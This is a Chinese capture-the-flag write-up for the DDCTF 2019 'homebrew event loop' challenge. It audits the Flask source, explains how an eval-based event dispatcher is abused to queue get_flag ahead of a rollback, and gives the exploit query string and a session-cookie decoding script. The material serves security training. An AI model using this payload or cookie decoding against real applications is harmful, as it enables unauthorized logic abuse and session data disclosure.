https://buuoj.cn/challenges#[DDCTF%202019]homebrew%20event%20loop

进入环境

每隔页面浏览一下
最上面就是说明我现在有多少个钻石,多少积分
点击进GO-to e-shop,就可以使用一个积分买一个钻石

买完了之后主页会显示

积分花完的时候点击

就可以重置了

以前做过类似购买的题目
我做到的都是逻辑漏洞,抓包改余额,抓包改价格这些

接下来看看View source code这个页面
进入是py的代码
开始审计代码

from flask import Flask, session, request, Response#我们导入了 Flask 类。这个类的实例将会是我们的 WSGI 应用程序
import urllibapp = Flask(__name__)#
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'def FLAG():return '*********************'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5:session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix)+len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException:passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix+'/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

if session[‘num_items’] >= 5的话,flag就在session里面
关键是如何去绕过数量的问题,根据题目名字的话应该是调用自己循环来绕过数量就可以。
主要的问题是这里的购买函数是改变余额再判断是否合法,也就是说在调用buy_handler时同时传入get_flag,处理队列中的顺序就是余额+n -> get_flag -> 判断不合法,这时我们已经成功把flag写进session了。

@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数
def entry_point(): querystring = urllib.unquote(request.query_string) #urllib.unquote  :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)#request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#Falserequest.event_queue = [] #定义一个数组if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: #如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100  querystring = 'action:index;False#False' if 'num_items' not in session: #如果session里面还没有num_items这个keysession['num_items'] = 0 #钻石数量session['points'] = 3 #积分数量session['log'] = [] request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值trigger_event(querystring) #调用了trigger_eventreturn execute_event_loop() #进入到execute_event_loop函数

这里是程序的入口先调用了trigger_event将要执行的函数传进队列,但是也只能执行一次,如果将自己传入队列的话,就可以调用多个函数了,然后进入到execute_event_loop函数。

def trigger_event(event):session['log'].append(event)#将event添加到session['log']这个列表中if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5session['log'] = session['log'][-5:]#session['log']取后五个元素if type(event) == type([]): #如果event的类型是列表request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 eventelse:request.event_queue.append(event)  #在列表request.event_queue中添加一个元素 event

execute_event_loop函数里面的代码

is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')

action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里

event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数

def get_flag_handler(args):if session['num_items'] >= 5:#当钻石数量大于等于5的时候# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())#调用这个函数,上面也说了这个函数会把形参传入session['log']列表中trigger_event('action:view;index')

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

此时flag按道理说已经写入session了
然后抓取session
.eJyNjc1qg0AURl-l3LWLGSUEBTdpqzRklKTTjl4pxZ8QkzijoDbJBN-92YQQcOHug3M43xWqegdOklzhJQMHYhGQVNh9KJd0y9sLDMY40WOkqArPlpnvqfDkug8Dhh_j_oDqu491c8jMmS4ErSJr8ZeKGQn1hzvSVNhglM9vxhGjnTutxCaWnkM69W0rMrGNRT5HeS7Ras-B-WUyn1H2SSjynK745hC-HbuYL0r2Skvk7xTFmiCvJPLSnnYMqpe_-24rW3CIAU29V91tWsM_iIx84Q.X8eGiw.AoztxxJ8hV5yJR-5qQAl54E-Huo
将sesion解密
解密脚本来源:https://www.leavesongs.com/PENETRATION/client-session-security.html

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))


flag{17e60c51-5e75-4c89-a0a0-ae15ed4e9fe8}

[DDCTF 2019]homebrew event loop相关推荐

  1. anaconda spyder使用协程报错解决:RuntimeError: This event loop is already running

    早上在anaconda的spyder中写协程代码时遇到了报错. 代码如下: import asyncioasync def coroutine():print("hey")awai ...

  2. 【转载】浏览器事件循环机制(event loop)

    首先,本文转自https://juejin.im/post/5afbc62151882542af04112d 当我看完菲利普·罗伯茨的 javascript event loop的演讲的时候,就对于事 ...

  3. 简单理解浏览器的event loop 和 JavaScript的同步异步

    为什么JavaScript是单线程的? JavaScript的主要用途是和用户进行交互以及对DOM的操作,为了避免复杂的同步问题(如果多线程,A线程对某DOM添加内容,B线程对它又进行了删除操作,这往 ...

  4. 从Promise来看JavaScript中的Event Loop、Tasks和Microtasks

    原文 github.com/creeperyang- 主题 Promise 看到过下面这样一道题: (function test() {setTimeout(function() {console.l ...

  5. 跟着 Event loop 规范理解浏览器中的异步机制

    原文发自我的 GitHub blog,欢迎关注 前言 我们都知道 JavaScript 是一门单线程语言,这意味着同一事件只能执行一个任务,结束了才能去执行下一个.如果前面的任务没有执行完,后面的任务 ...

  6. JavaScipt 中的事件循环(event loop),以及微任务 和宏任务的概念

    说事件循环(event loop)之前先要搞清楚几个问题. 1. js为什么是单线程的? 试想一下,如果js不是单线程的,同时有两个方法作用dom,一个删除,一个修改,那么这时候浏览器该听谁的? 2. ...

  7. js异步等待完成后再进行下一步操作_彻底搞懂JS事件中的循环机制 Event Loop

    我们都知道JavaScript是单线程语言,就是因为单线程的特性,就不得不提js中的同步和异步 一.同步和异步 所谓单线程,无非就是同步队列和异步队列,js代码是自上向下执行的,在主线程中立即执行的就 ...

  8. JavaScript 运行机制详解:Event Loop

    转自: http://www.ruanyifeng.com/blog/2014/10/event-loop.html 一.为什么JavaScript是单线程? JavaScript语言的一大特点就是单 ...

  9. 笔试题——JavaScript事件循环机制(event loop、macrotask、microtask)

    今天做了一道笔试题觉得很有意义分享给大家,题目如下: setTimeout(()=>{console.log('A'); },0); var obj={func:function () {set ...

最新文章

  1. 跟着Rocskdb 学 存储引擎:读写链路的代码极致优化
  2. 为什么说混合云是新基建的流行架构?文末彩蛋!
  3. 记录一次OOM分析过程
  4. CSS 外补白(Margin) 内补白(Padding) 边框属性 定位(positioning)属性 布局(layout)属性
  5. Spark机器学习库(MLlib)指南
  6. 如果编程语言是女人(译)
  7. MySQL高级特性之分区表
  8. CVPR 2021 Oral | Transformer!UP-DETR:无监督预训练检测器
  9. One or more Filters failed to start.
  10. pku 1321 棋盘问题 DFS
  11. 2017 年大数据、物联网与 AI 的趋势预测
  12. mysql 锁行语句_mysql 锁表锁行语句分享(MySQL事务处理)
  13. ASP.NET全局文件Global.asax用法分析
  14. COMSOL光纤建模、光子带隙分析等
  15. 生鲜网超MySQL_天天生鲜项目实战-思路 数据库设计
  16. (翻译)禁用按钮不应变灰的原因
  17. 双网卡(内外网)配置,路由+DNS
  18. 不小心隐藏IDEA的main menu,让它恢复显示的解决方法
  19. 移动硬盘装ubuntu
  20. 大白话:计算机网络——网速

热门文章

  1. 改变el-table表头的背景颜色以及表格隔行变色
  2. 动手学深度学习--课堂笔记图片分类数据集
  3. 《区块链基础知识25讲》学习笔记——第一部分区块链术语与技术基础
  4. 《数据分析变革:大数据时代精准决策之道》一2.3 纵观全局看待大数据
  5. JS 中的 this
  6. 淘宝按关键字搜索淘宝商品 API 参数及返回值说明 翻页展示 含调用示例
  7. 预清洗针SS1动作流程
  8. 点积和叉积(基本的东西,先挖个坑)
  9. wsus无法获取计算机,客户端不能从WSUS服务器取得更新故障
  10. 2013年电大计算机应用基础,2013年电大网考计算机应用基础.pdf